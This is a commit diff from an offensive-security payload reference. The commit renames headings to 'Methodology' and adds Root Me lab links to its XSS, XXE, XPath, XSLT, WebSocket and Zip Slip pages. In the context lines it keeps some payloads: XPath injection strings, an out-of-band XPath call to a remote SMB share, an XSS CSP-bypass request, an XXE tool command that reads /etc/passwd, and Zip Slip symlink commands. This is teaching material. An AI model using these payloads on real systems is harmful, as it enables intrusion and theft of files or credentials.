Skip to content

Commit 0a5ecc4

Browse files
committed
Normalize page header for Web Socket, XSLT, XSS, XXE
1 parent 48a4e5c commit 0a5ecc4

File tree

9 files changed

+94
-34
lines changed

9 files changed

+94
-34
lines changed

Client Side Path Traversal/README.md

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -65,6 +65,7 @@ Real-World Scenarios:
6565
## Labs
6666

6767
* [doyensec/CSPTPlayground](https://github.com/doyensec/CSPTPlayground) - CSPTPlayground is an open-source playground to find and exploit Client-Side Path Traversal (CSPT).
68+
* [Root Me - CSPT - The Ruler](https://www.root-me.org/en/Challenges/Web-Client/CSPT-The-Ruler)
6869

6970

7071
## References

Web Sockets/README.md

Lines changed: 5 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -1,11 +1,12 @@
11
# Web Sockets
22

3-
> The WebSocket protocol allows a bidirectional and full-duplex communication between a client and a server
3+
> WebSocket is a communication protocol that provides full-duplex communication channels over a single, long-lived connection. This enables real-time, bi-directional communication between clients (typically web browsers) and servers through a persistent connection. WebSockets are commonly used for web applications that require frequent, low-latency updates, such as live chat applications, online gaming, real-time notifications, and financial trading platforms.
4+
45

56
## Summary
67

78
* [Tools](#tools)
8-
* [Exploit](#exploit)
9+
* [Methodology](#methodology)
910
* [Using wsrepl](#using-wsrepl)
1011
* [Using ws-harness.py](#using-ws-harness-py)
1112
* [Cross-Site WebSocket Hijacking (CSWSH)](#cross-site-websocket-hijacking-cswsh)
@@ -19,7 +20,7 @@
1920
* [mfowl/ws-harness.py](https://gist.githubusercontent.com/mfowl/ae5bc17f986d4fcc2023738127b06138/raw/e8e82467ade45998d46cef355fd9b57182c3e269/ws.harness.py)
2021

2122

22-
## Exploit
23+
## Methodology
2324

2425
### Using wsrepl
2526

@@ -131,6 +132,7 @@ in order to add this header.
131132
* [PortSwigger - Manipulating WebSocket messages to exploit vulnerabilities](https://portswigger.net/web-security/websockets/lab-manipulating-messages-to-exploit-vulnerabilities)
132133
* [PortSwigger - Cross-site WebSocket hijacking](https://portswigger.net/web-security/websockets/cross-site-websocket-hijacking/lab)
133134
* [PortSwigger - Manipulating the WebSocket handshake to exploit vulnerabilities](https://portswigger.net/web-security/websockets/lab-manipulating-handshake-to-exploit-vulnerabilities)
135+
* [Root Me - Web Socket - 0 protection](https://www.root-me.org/en/Challenges/Web-Client/Web-Socket-0-protection)
134136

135137

136138
## References

XPATH Injection/README.md

Lines changed: 16 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -2,12 +2,14 @@
22

33
> XPath Injection is an attack technique used to exploit applications that construct XPath (XML Path Language) queries from user-supplied input to query or navigate XML documents.
44
5+
56
## Summary
67

78
* [Tools](#tools)
8-
* [Exploitation](#exploitation)
9-
* [Blind exploitation](#blind-exploitation)
10-
* [Out Of Band Exploitation](#out-of-band-exploitation)
9+
* [Methodology](#methodology)
10+
* [Blind exploitation](#blind-exploitation)
11+
* [Out Of Band Exploitation](#out-of-band-exploitation)
12+
* [Labs](#labs)
1113
* [References](#references)
1214

1315
## Tools
@@ -19,7 +21,7 @@
1921
- [Harshal35/XmlChor](https://github.com/Harshal35/XMLCHOR) - Xpath injection exploitation tool
2022

2123

22-
## Exploitation
24+
## Methodology
2325

2426
Similar to SQL : `"string(//user[name/text()='" +vuln_var1+ "' and password/text()=’" +vuln_var1+ "']/account/text())"`
2527

@@ -42,7 +44,7 @@ search=Har') and contains(../password,'c
4244
search=Har') and starts-with(../password,'c
4345
```
4446

45-
## Blind Exploitation
47+
### Blind Exploitation
4648

4749
1. Size of a string
4850
```sql
@@ -54,12 +56,20 @@ search=Har') and starts-with(../password,'c
5456
substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)
5557
```
5658

57-
## Out Of Band Exploitation
59+
### Out Of Band Exploitation
5860

5961
```powershell
6062
http://example.com/?title=Foundation&type=*&rent_days=* and doc('//10.10.10.10/SHARE')
6163
```
6264

65+
66+
## Labs
67+
68+
* [Root Me - XPath injection - Authentication](https://www.root-me.org/en/Challenges/Web-Server/XPath-injection-Authentication)
69+
* [Root Me - XPath injection - String](https://www.root-me.org/en/Challenges/Web-Server/XPath-injection-String)
70+
* [Root Me - XPath injection - Blind](https://www.root-me.org/en/Challenges/Web-Server/XPath-injection-Blind)
71+
72+
6373
## References
6474

6575
- [Places of Interest in Stealing NetNTLM Hashes - Osanda Malith Jayathissa - March 24, 2017](https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/)

XSLT Injection/README.md

Lines changed: 15 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -2,23 +2,30 @@
22

33
> Processing an un-validated XSL stylesheet can allow an attacker to change the structure and contents of the resultant XML, include arbitrary files from the file system, or execute arbitrary code
44
5+
56
## Summary
67

7-
- [Summary](#summary)
88
- [Tools](#tools)
9-
- [Exploit](#exploit)
9+
- [Methodology](#methodology)
1010
- [Determine the vendor and version](#determine-the-vendor-and-version)
1111
- [External Entity](#external-entity)
1212
- [Read files and SSRF using document](#read-files-and-ssrf-using-document)
1313
- [Write files with EXSLT extension](#write-files-with-exslt-extension)
1414
- [Remote Code Execution with PHP wrapper](#remote-code-execution-with-php-wrapper)
1515
- [Remote Code Execution with Java](#remote-code-execution-with-java)
1616
- [Remote Code Execution with Native .NET](#remote-code-execution-with-native-net)
17+
- [Labs](#labs)
1718
- [References](#references)
1819

20+
1921
## Tools
2022

21-
## Exploit
23+
No known tools currently exist to assist with XSLT exploitation.
24+
25+
* [TODO](#)
26+
27+
28+
## Methodology
2229

2330
### Determine the vendor and version
2431

@@ -238,6 +245,11 @@ return proc.StandardOutput.ReadToEnd();
238245
```
239246

240247

248+
## Labs
249+
250+
- [Root Me - XSLT - Code execution](https://www.root-me.org/en/Challenges/Web-Server/XSLT-Code-execution)
251+
252+
241253
## References
242254

243255
- [From XSLT code execution to Meterpreter shells - Nicolas Grégoire (@agarri) - July 2, 2012](https://www.agarri.fr/blog/archives/2012/07/02/from_xslt_code_execution_to_meterpreter_shells/index.html)

XSS Injection/3 - XSS Common WAF Bypass.md

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,8 @@
11
# Common WAF Bypass
22

3+
> WAFs are designed to filter out malicious content by inspecting incoming and outgoing traffic for patterns indicative of attacks. Despite their sophistication, WAFs often struggle to keep up with the diverse methods attackers use to obfuscate and modify their payloads to circumvent detection.
4+
5+
36
## Summary
47

58
* [Cloudflare](#cloudflare)
@@ -9,6 +12,7 @@
912
* [WordFence WAF](#wordfence-waf)
1013
* [Fortiweb WAF](#fortiweb-waf)
1114

15+
1216
## Cloudflare
1317

1418
* 25st January 2021 - [@Bohdan Korzhynskyi](https://twitter.com/bohdansec)

XSS Injection/4 - CSP Bypass.md

Lines changed: 10 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -14,6 +14,7 @@
1414
- [Bypass CSP script-src data](#bypass-csp-script-src-data)
1515
- [Bypass CSP nonce](#bypass-csp-nonce)
1616
- [Bypass CSP header sent by PHP](#bypass-csp-header-sent-by-php)
17+
- [Labs](#labs)
1718
- [References](#references)
1819

1920

@@ -173,6 +174,15 @@ GET /?xss=<script>alert(1)</script>&a&a&a&a&a&a&a&a...[REPEATED &a 1000 times]&a
173174
Source: [@pilvar222](https://twitter.com/pilvar222/status/1784618120902005070)
174175
175176
177+
## Labs
178+
179+
* [Root Me - CSP Bypass - Inline Code](https://www.root-me.org/en/Challenges/Web-Client/CSP-Bypass-Inline-code)
180+
* [Root Me - CSP Bypass - Nonce](https://www.root-me.org/en/Challenges/Web-Client/CSP-Bypass-Nonce)
181+
* [Root Me - CSP Bypass - Nonce 2](https://www.root-me.org/en/Challenges/Web-Client/CSP-Bypass-Nonce-2)
182+
* [Root Me - CSP Bypass - Dangling Markup](https://www.root-me.org/en/Challenges/Web-Client/CSP-Bypass-Dangling-markup)
183+
* [Root Me - CSP Bypass - Dangling Markup 2](https://www.root-me.org/en/Challenges/Web-Client/CSP-Bypass-Dangling-markup-2)
184+
* [Root Me - CSP Bypass - JSONP](https://www.root-me.org/en/Challenges/Web-Client/CSP-Bypass-JSONP)
185+
176186
177187
## References
178188

XSS Injection/README.md

Lines changed: 16 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -2,9 +2,10 @@
22

33
> Cross-site scripting (XSS) is a type of computer security vulnerability typically found in web applications. XSS enables attackers to inject client-side scripts into web pages viewed by other users.
44
5+
56
## Summary
67

7-
- [Vulnerability Details](#vulnerability-details)
8+
- [Methodology](#methodology)
89
- [Proof of Concept](#proof-of-concept)
910
- [Data Grabber](#data-grabber)
1011
- [CORS](#cors)
@@ -38,10 +39,11 @@
3839
- [Blind XSS endpoint](#blind-xss-endpoint)
3940
- [Tips](#tips)
4041
- [Mutated XSS](#mutated-xss)
42+
- [Labs](#labs)
4143
- [References](#references)
4244

4345

44-
## Vulnerability Details
46+
## Methodology
4547

4648
Cross-Site Scripting (XSS) is a type of computer security vulnerability typically found in web applications. XSS allows attackers to inject malicious code into a website, which is then executed in the browser of anyone who visits the site. This can allow attackers to steal sensitive information, such as user login credentials, or to perform other malicious actions.
4749

@@ -556,6 +558,18 @@ Mutated XSS from Masato Kinugawa, used against DOMPurify component on Google Sea
556558
## Labs
557559

558560
* [PortSwigger Labs for XSS](https://portswigger.net/web-security/all-labs#cross-site-scripting)
561+
* [Root Me - XSS - Reflected](https://www.root-me.org/en/Challenges/Web-Client/XSS-Reflected)
562+
* [Root Me - XSS - Server Side](https://www.root-me.org/en/Challenges/Web-Server/XSS-Server-Side)
563+
* [Root Me - XSS - Stored 1](https://www.root-me.org/en/Challenges/Web-Client/XSS-Stored-1)
564+
* [Root Me - XSS - Stored 2](https://www.root-me.org/en/Challenges/Web-Client/XSS-Stored-2)
565+
* [Root Me - XSS - Stored - Filter Bypass](https://www.root-me.org/en/Challenges/Web-Client/XSS-Stored-filter-bypass)
566+
* [Root Me - XSS DOM Based - Introduction](https://www.root-me.org/en/Challenges/Web-Client/XSS-DOM-Based-Introduction)
567+
* [Root Me - XSS DOM Based - AngularJS](https://www.root-me.org/en/Challenges/Web-Client/XSS-DOM-Based-AngularJS)
568+
* [Root Me - XSS DOM Based - Eval](https://www.root-me.org/en/Challenges/Web-Client/XSS-DOM-Based-Eval)
569+
* [Root Me - XSS DOM Based - Filters Bypass](https://www.root-me.org/en/Challenges/Web-Client/XSS-DOM-Based-Filters-Bypass)
570+
* [Root Me - XSS - DOM Based](https://www.root-me.org/en/Challenges/Web-Client/XSS-DOM-Based)
571+
* [Root Me - Self XSS - DOM Secrets](https://www.root-me.org/en/Challenges/Web-Client/Self-XSS-DOM-Secrets)
572+
* [Root Me - Self XSS - Race Condition](https://www.root-me.org/en/Challenges/Web-Client/Self-XSS-Race-Condition)
559573

560574

561575
## References

XXE Injection/README.md

Lines changed: 20 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -2,10 +2,10 @@
22

33
> An XML External Entity attack is a type of attack against an application that parses XML input and allows XML entities. XML entities can be used to tell the XML parser to fetch specific content on the server.
44
5+
56
## Summary
67

78
- [Tools](#tools)
8-
- [Labs](#labs)
99
- [Detect the vulnerability](#detect-the-vulnerability)
1010
- [Exploiting XXE to retrieve files](#exploiting-xxe-to-retrieve-files)
1111
- [Classic XXE](#classic-xxe)
@@ -35,6 +35,9 @@
3535
- [XXE inside XLSX file](#xxe-inside-xlsx-file)
3636
- [XXE inside DTD file](#xxe-inside-dtd-file)
3737
- [Windows Local DTD and Side Channel Leak to disclose HTTP response/file contents](#windows-local-dtd-and-side-channel-leak-to-disclose-http-responsefile-contents)
38+
- [Labs](#labs)
39+
- [References](#references)
40+
3841

3942
## Tools
4043

@@ -88,20 +91,6 @@
8891
python ./otori.py --clone --module "G-XXE-Basic" --singleuri "file:///etc/passwd" --module-options "TEMPLATEFILE" "TARGETURL" "BASE64ENCODE" "DOCTYPE" "XMLTAG" --outputbase "./output-generic-solr" --overwrite --noerrorfiles --noemptyfiles --nowhitespacefiles --noemptydirs
8992
```
9093

91-
## Labs
92-
93-
* [PortSwigger Labs for XXE](https://portswigger.net/web-security/all-labs#xml-external-entity-xxe-injection)
94-
* [Exploiting XXE using external entities to retrieve files](https://portswigger.net/web-security/xxe/lab-exploiting-xxe-to-retrieve-files)
95-
* [Exploiting XXE to perform SSRF attacks](https://portswigger.net/web-security/xxe/lab-exploiting-xxe-to-perform-ssrf)
96-
* [Blind XXE with out-of-band interaction](https://portswigger.net/web-security/xxe/blind/lab-xxe-with-out-of-band-interaction)
97-
* [Blind XXE with out-of-band interaction via XML parameter entities](https://portswigger.net/web-security/xxe/blind/lab-xxe-with-out-of-band-interaction-using-parameter-entities)
98-
* [Exploiting blind XXE to exfiltrate data using a malicious external DTD](https://portswigger.net/web-security/xxe/blind/lab-xxe-with-out-of-band-exfiltration)
99-
* [Exploiting blind XXE to retrieve data via error messages](https://portswigger.net/web-security/xxe/blind/lab-xxe-with-data-retrieval-via-error-messages)
100-
* [Exploiting XInclude to retrieve files](https://portswigger.net/web-security/xxe/lab-xinclude-attack)
101-
* [Exploiting XXE via image file upload](https://portswigger.net/web-security/xxe/lab-xxe-via-file-upload)
102-
* [Exploiting XXE to retrieve data by repurposing a local DTD](https://portswigger.net/web-security/xxe/blind/lab-xxe-trigger-error-message-by-repurposing-local-dtd)
103-
* [GoSecure workshop - Advanced XXE Exploitation](https://gosecure.github.io/xxe-workshop)
104-
10594

10695
## Detect the vulnerability
10796

@@ -730,6 +719,22 @@ From https://gist.github.com/infosec-au/2c60dc493053ead1af42de1ca3bdcc79
730719
]><xxx>cacat</xxx>
731720
```
732721

722+
## Labs
723+
724+
* [Root Me - XML External Entity](https://www.root-me.org/en/Challenges/Web-Server/XML-External-Entity)
725+
* [PortSwigger Labs for XXE](https://portswigger.net/web-security/all-labs#xml-external-entity-xxe-injection)
726+
* [Exploiting XXE using external entities to retrieve files](https://portswigger.net/web-security/xxe/lab-exploiting-xxe-to-retrieve-files)
727+
* [Exploiting XXE to perform SSRF attacks](https://portswigger.net/web-security/xxe/lab-exploiting-xxe-to-perform-ssrf)
728+
* [Blind XXE with out-of-band interaction](https://portswigger.net/web-security/xxe/blind/lab-xxe-with-out-of-band-interaction)
729+
* [Blind XXE with out-of-band interaction via XML parameter entities](https://portswigger.net/web-security/xxe/blind/lab-xxe-with-out-of-band-interaction-using-parameter-entities)
730+
* [Exploiting blind XXE to exfiltrate data using a malicious external DTD](https://portswigger.net/web-security/xxe/blind/lab-xxe-with-out-of-band-exfiltration)
731+
* [Exploiting blind XXE to retrieve data via error messages](https://portswigger.net/web-security/xxe/blind/lab-xxe-with-data-retrieval-via-error-messages)
732+
* [Exploiting XInclude to retrieve files](https://portswigger.net/web-security/xxe/lab-xinclude-attack)
733+
* [Exploiting XXE via image file upload](https://portswigger.net/web-security/xxe/lab-xxe-via-file-upload)
734+
* [Exploiting XXE to retrieve data by repurposing a local DTD](https://portswigger.net/web-security/xxe/blind/lab-xxe-trigger-error-message-by-repurposing-local-dtd)
735+
* [GoSecure workshop - Advanced XXE Exploitation](https://gosecure.github.io/xxe-workshop)
736+
737+
733738
## References
734739

735740
- [A Deep Dive into XXE Injection - Trenton Gordon - July 22, 2019](https://www.synack.com/blog/a-deep-dive-into-xxe-injection/)

Zip Slip/README.md

Lines changed: 7 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -2,11 +2,12 @@
22

33
> The vulnerability is exploited using a specially crafted archive that holds directory traversal filenames (e.g. ../../shell.php). The Zip Slip vulnerability can affect numerous archive formats, including tar, jar, war, cpio, apk, rar and 7z. The attacker can then overwrite executable files and either invoke them remotely or wait for the system or user to call them, thus achieving remote command execution on the victim’s machine.
44
5+
56
## Summary
67

78
* [Tools](#tools)
8-
* [Detection](#detection)
9-
* [Exploits](#exploits)
9+
* [Methodology](#methodology)
10+
* [Detection](#detection)
1011
* [Basic Exploit](#basic-exploit)
1112
* [Additional Notes](#additional-notes)
1213

@@ -17,12 +18,12 @@
1718
- [usdAG/slipit](https://github.com/usdAG/slipit) - Utility for creating ZipSlip archives
1819

1920

20-
## Detection
21+
## Methodology
2122

22-
Any ZIP upload page on the application.
23+
### Detection
2324

25+
Any ZIP upload page on the application.
2426

25-
## Exploits
2627

2728
### Basic Exploit
2829

@@ -39,6 +40,7 @@ ln -s ../../../index.php symindex.txt
3940
zip --symlinks test.zip symindex.txt
4041
```
4142

43+
4244
### Additional Notes
4345

4446
For affected libraries and projects, visit [snyk/zip-slip-vulnerability](https://github.com/snyk/zip-slip-vulnerability)

0 commit comments

Comments
 (0)